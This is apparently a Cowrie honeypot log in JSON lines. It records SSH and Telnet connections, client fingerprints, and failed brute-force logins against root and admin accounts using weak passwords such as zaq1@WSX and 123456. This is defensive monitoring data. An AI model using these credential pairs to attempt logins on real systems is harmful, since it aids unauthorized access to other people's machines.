{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:24:44.676274Z","src_ip":"49.51.202.114","session":"c297a20cfa13","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"zaq1@WSX","message":"login attempt [admin/zaq1@WSX] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:24:44.980269Z","src_ip":"49.51.202.114","session":"c297a20cfa13","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:24:46.053689Z","src_ip":"49.51.202.114","session":"c297a20cfa13","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":48488,"dst_ip":"10.17.0.5","dst_port":23,"session":"097ed1b5c59e","protocol":"telnet","message":"New connection: 192.119.13.58:48488 (10.17.0.5:23) [session: 097ed1b5c59e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:24:46.787369Z"}
{"eventid":"cowrie.session.closed","duration":0.0051877498626708984,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:24:46.792412Z","src_ip":"192.119.13.58","session":"097ed1b5c59e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.92.182.129","src_port":33246,"dst_ip":"10.17.0.5","dst_port":22,"session":"ff40fdcf1ad0","protocol":"ssh","message":"New connection: 185.92.182.129:33246 (10.17.0.5:22) [session: ff40fdcf1ad0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:24:56.775192Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:24:56.780497Z","src_ip":"185.92.182.129","session":"ff40fdcf1ad0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:24:56.823330Z","src_ip":"185.92.182.129","session":"ff40fdcf1ad0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":45.31666111946106,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:24:57.486392Z","src_ip":"192.119.13.58","session":"430513c3a782","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"data","password":"data","message":"login attempt [data/data] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:24:57.630777Z","src_ip":"185.92.182.129","session":"ff40fdcf1ad0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"158.178.141.16","src_port":41308,"dst_ip":"159.203.135.109","dst_port":22,"session":"48e2dfa99a22","protocol":"ssh","message":"New connection: 158.178.141.16:41308 (159.203.135.109:22) [session: 48e2dfa99a22]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:24:57.681222Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:24:57.686548Z","src_ip":"158.178.141.16","session":"48e2dfa99a22","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:24:57.899072Z","src_ip":"158.178.141.16","session":"48e2dfa99a22","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:24:58.727256Z","src_ip":"185.92.182.129","session":"ff40fdcf1ad0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"new","password":"123456","message":"login attempt [new/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:24:58.778819Z","src_ip":"158.178.141.16","session":"48e2dfa99a22","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:24:59.993487Z","src_ip":"158.178.141.16","session":"48e2dfa99a22","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.32172131538391,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:25:04.114938Z","src_ip":"192.119.13.58","session":"4bd66780783f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":53210,"dst_ip":"10.17.0.5","dst_port":23,"session":"9c7c78dd2b68","protocol":"telnet","message":"New connection: 192.119.13.58:53210 (10.17.0.5:23) [session: 9c7c78dd2b68]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:25:06.208556Z"}
{"eventid":"cowrie.session.closed","duration":3.25630784034729,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:25:09.464749Z","src_ip":"192.119.13.58","session":"9c7c78dd2b68","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.219.170.37","src_port":51338,"dst_ip":"159.203.135.109","dst_port":22,"session":"57f06abdf19f","protocol":"ssh","message":"New connection: 103.219.170.37:51338 (159.203.135.109:22) [session: 57f06abdf19f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:25:21.495407Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:25:21.502481Z","src_ip":"103.219.170.37","session":"57f06abdf19f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:25:21.595355Z","src_ip":"103.219.170.37","session":"57f06abdf19f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ZAQ!2wsx","message":"login attempt [root/ZAQ!2wsx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:25:21.849464Z","src_ip":"103.219.170.37","session":"57f06abdf19f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:25:22.939137Z","src_ip":"103.219.170.37","session":"57f06abdf19f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"189.228.18.72","src_port":50306,"dst_ip":"10.17.0.5","dst_port":23,"session":"80c166b580b4","protocol":"telnet","message":"New connection: 189.228.18.72:50306 (10.17.0.5:23) [session: 80c166b580b4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:25:28.986290Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":60664,"dst_ip":"10.17.0.5","dst_port":23,"session":"883437bf6dbb","protocol":"telnet","message":"New connection: 192.119.13.58:60664 (10.17.0.5:23) [session: 883437bf6dbb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:25:32.974011Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":36392,"dst_ip":"10.17.0.5","dst_port":23,"session":"20e9eb23f90f","protocol":"telnet","message":"New connection: 192.119.13.58:36392 (10.17.0.5:23) [session: 20e9eb23f90f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:25:34.078129Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.128.179","src_port":3728,"dst_ip":"10.17.0.5","dst_port":22,"session":"18154fc7ab46","protocol":"ssh","message":"New connection: 176.65.128.179:3728 (10.17.0.5:22) [session: 18154fc7ab46]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:25:34.561497Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:25:34.566237Z","src_ip":"176.65.128.179","session":"18154fc7ab46","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:25:34.672419Z","src_ip":"176.65.128.179","session":"18154fc7ab46","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"5d:83:6f:6f:7d:0a:be:c6:64:66:0b:a6:9c:21:5f:48","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDV7x4FuTHuBGz2dpdd06STAgINS+fyZ1xp7h9AZu0v8Rg5WB1unmX47P+1d1yIaI40HeRPya99r63Rn5gXUOeW89ybAOPZ2quAHS9lykV9pVZAC5Z/2CpG8LQezElUPYZZURy36fN+dBej7wOg3FtkZiX9JtDdG0kqnVXqmk2REGvQbIu9uNKK6nNRRtDA5th7dAmtd5TszPtSsiukV1jvy0rRKUNO/EyvLFzuiQprq6uE0cuoWOfkWzHNP+BQzhoUkMNl2n3pFPpBU87nUsNZI8WzweLocA+TWIzjhEkKBrPemiJjqLjj20hFcV/ZOaHUy5SjNNTBPYTLNS8uRUi6l1Hoe/ib4SRJu6xCZa7cqWVFe162NMHHODE2OPvyUzfFGJmRwdbLNEzyARjqdI4dplq5GbyP7rudLTKBIzK/2gcbywTIZHA7V0c6nwEFusQrActUMyxDUvgTpdiNL7RoqrdDQKO6FK/kg0mbaAoFNlohHZVKHP4lzDOwmUBS76mZxnrDJsUu1Qtlhro8HGteMHmgUZO7IwwUco34cIPJNO9Fv7spyGMNmLHWYikdoiGTrHU96bDTHNXK8wK4dQpw1T7t6BylGS7wO5FujuOi3O/X6NmLZMLE8ktKicBcQ7wmRw3M6BMUMGzDk/8FIBfndBetKOMvPjtSUi7ZfBiDTw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 5d:83:6f:6f:7d:0a:be:c6:64:66:0b:a6:9c:21:5f:48","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:25:35.170953Z","src_ip":"176.65.128.179","session":"18154fc7ab46","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"5d:83:6f:6f:7d:0a:be:c6:64:66:0b:a6:9c:21:5f:48","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDV7x4FuTHuBGz2dpdd06STAgINS+fyZ1xp7h9AZu0v8Rg5WB1unmX47P+1d1yIaI40HeRPya99r63Rn5gXUOeW89ybAOPZ2quAHS9lykV9pVZAC5Z/2CpG8LQezElUPYZZURy36fN+dBej7wOg3FtkZiX9JtDdG0kqnVXqmk2REGvQbIu9uNKK6nNRRtDA5th7dAmtd5TszPtSsiukV1jvy0rRKUNO/EyvLFzuiQprq6uE0cuoWOfkWzHNP+BQzhoUkMNl2n3pFPpBU87nUsNZI8WzweLocA+TWIzjhEkKBrPemiJjqLjj20hFcV/ZOaHUy5SjNNTBPYTLNS8uRUi6l1Hoe/ib4SRJu6xCZa7cqWVFe162NMHHODE2OPvyUzfFGJmRwdbLNEzyARjqdI4dplq5GbyP7rudLTKBIzK/2gcbywTIZHA7V0c6nwEFusQrActUMyxDUvgTpdiNL7RoqrdDQKO6FK/kg0mbaAoFNlohHZVKHP4lzDOwmUBS76mZxnrDJsUu1Qtlhro8HGteMHmgUZO7IwwUco34cIPJNO9Fv7spyGMNmLHWYikdoiGTrHU96bDTHNXK8wK4dQpw1T7t6BylGS7wO5FujuOi3O/X6NmLZMLE8ktKicBcQ7wmRw3M6BMUMGzDk/8FIBfndBetKOMvPjtSUi7ZfBiDTw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:25:35.174770Z","src_ip":"176.65.128.179","session":"18154fc7ab46","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"8f:3a:fe:d7:4a:9a:ad:7d:3e:06:77:86:4f:14:ad:f1","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCnz/6oh2rsIgPfkum6I+xKTik4de6Vo4VwZjd2IXYqMF+ay2C0MxXoKPUb7gOWK87fd/UXc3ZODYJtRTu6/DOPrW1ZJDxitGnB7zs4PZl1tdbLkhs8L714vqUr1Q9CToUlbVR7fbX1DFtsKlLYw1FRYNq13D1lkRws9Eg7CZxbY5uQW6Cm3BthPn4EaJc64MYg9bDbGVCZFEHbPXnGzPbKjhnwSFfGQ1LGmz6QT81C2EiBVKM2pFy5oNm8AOsRyRebMv5jeYz+XHQyUGI3w0oJfGxIC1NAI7rTxtCelFtyQE+f/dZKMnUy5WxPqEQrSNrtLwCsEGmqZRMaSAWFFIgt","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 8f:3a:fe:d7:4a:9a:ad:7d:3e:06:77:86:4f:14:ad:f1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:25:35.280247Z","src_ip":"176.65.128.179","session":"18154fc7ab46","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"8f:3a:fe:d7:4a:9a:ad:7d:3e:06:77:86:4f:14:ad:f1","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCnz/6oh2rsIgPfkum6I+xKTik4de6Vo4VwZjd2IXYqMF+ay2C0MxXoKPUb7gOWK87fd/UXc3ZODYJtRTu6/DOPrW1ZJDxitGnB7zs4PZl1tdbLkhs8L714vqUr1Q9CToUlbVR7fbX1DFtsKlLYw1FRYNq13D1lkRws9Eg7CZxbY5uQW6Cm3BthPn4EaJc64MYg9bDbGVCZFEHbPXnGzPbKjhnwSFfGQ1LGmz6QT81C2EiBVKM2pFy5oNm8AOsRyRebMv5jeYz+XHQyUGI3w0oJfGxIC1NAI7rTxtCelFtyQE+f/dZKMnUy5WxPqEQrSNrtLwCsEGmqZRMaSAWFFIgt","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:25:35.285064Z","src_ip":"176.65.128.179","session":"18154fc7ab46","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"13:92:3f:da:bb:93:f0:7c:05:fa:57:9a:34:cc:42:84","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAmpjN5vadLmnK1U3DZzLjkFPlccIvK7lto3O0rxVCM+Cop6bF2zc6uuZR9JkfQg9/re1bI2ZOFNPTTDUmgeo6VexYLMCUxjvUKNZzuKT8AQJHm3CWNZE8vTuC/VHNvTCeSW3cc4OzQ6QtMJ8sgB9pyAIJ4k7/uZ8QmTQZOP9QIhg7PA8FhM0x37yycFWg6wiK+ntqzyUmDvjgUknUHUJvj2T9VQh3mFXNoiP9FM22fNMcpIuTRFMwKcTN6St5C11yvtRl6A0z5VrlrZDpOK7XuP0Jsdf6k8adMOQbQdkPY3XTyMBCR6OnKRhfAFQCZY94hhhV31GUBPSEZAau5Zw5Uw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 13:92:3f:da:bb:93:f0:7c:05:fa:57:9a:34:cc:42:84","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:25:35.389903Z","src_ip":"176.65.128.179","session":"18154fc7ab46","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"13:92:3f:da:bb:93:f0:7c:05:fa:57:9a:34:cc:42:84","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAmpjN5vadLmnK1U3DZzLjkFPlccIvK7lto3O0rxVCM+Cop6bF2zc6uuZR9JkfQg9/re1bI2ZOFNPTTDUmgeo6VexYLMCUxjvUKNZzuKT8AQJHm3CWNZE8vTuC/VHNvTCeSW3cc4OzQ6QtMJ8sgB9pyAIJ4k7/uZ8QmTQZOP9QIhg7PA8FhM0x37yycFWg6wiK+ntqzyUmDvjgUknUHUJvj2T9VQh3mFXNoiP9FM22fNMcpIuTRFMwKcTN6St5C11yvtRl6A0z5VrlrZDpOK7XuP0Jsdf6k8adMOQbQdkPY3XTyMBCR6OnKRhfAFQCZY94hhhV31GUBPSEZAau5Zw5Uw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:25:35.394228Z","src_ip":"176.65.128.179","session":"18154fc7ab46","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"79:ad:67:5b:4a:dd:88:de:12:f0:02:1c:8d:c4:72:43","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC0oEDJJFUydSwA0dK9ytDI6dW24qwPC62kLMeYDdPa71aqpcwEGKml1+lxzHduVEudkVyDhTZsUXJA42zCegVAOgwYItVeVqQVR+bt8qf+Z7H3ZPKe3BpnlHSxsGy9QGxsdCd0tpWJCgpbvzzXGPmdtRUvoK1p2qyd1Uv4fBNUOmYEcF7rzvUm17Lz+LNverEDounNTA+EV9jG7irGgS7V88zYNw0WnCOw2LS/oPr5cta04ypzRgqMgnVwn5kgyivo3rWDiyj3+pGpyXxkLgdCIfxSgX0OuhwIT1TfQ+S8qWw+YY0dCacYrG8pvgvgw2Z/r4JpzcMioL49/iVwGjDl","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 79:ad:67:5b:4a:dd:88:de:12:f0:02:1c:8d:c4:72:43","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:25:35.500223Z","src_ip":"176.65.128.179","session":"18154fc7ab46","protocol":"ssh"}
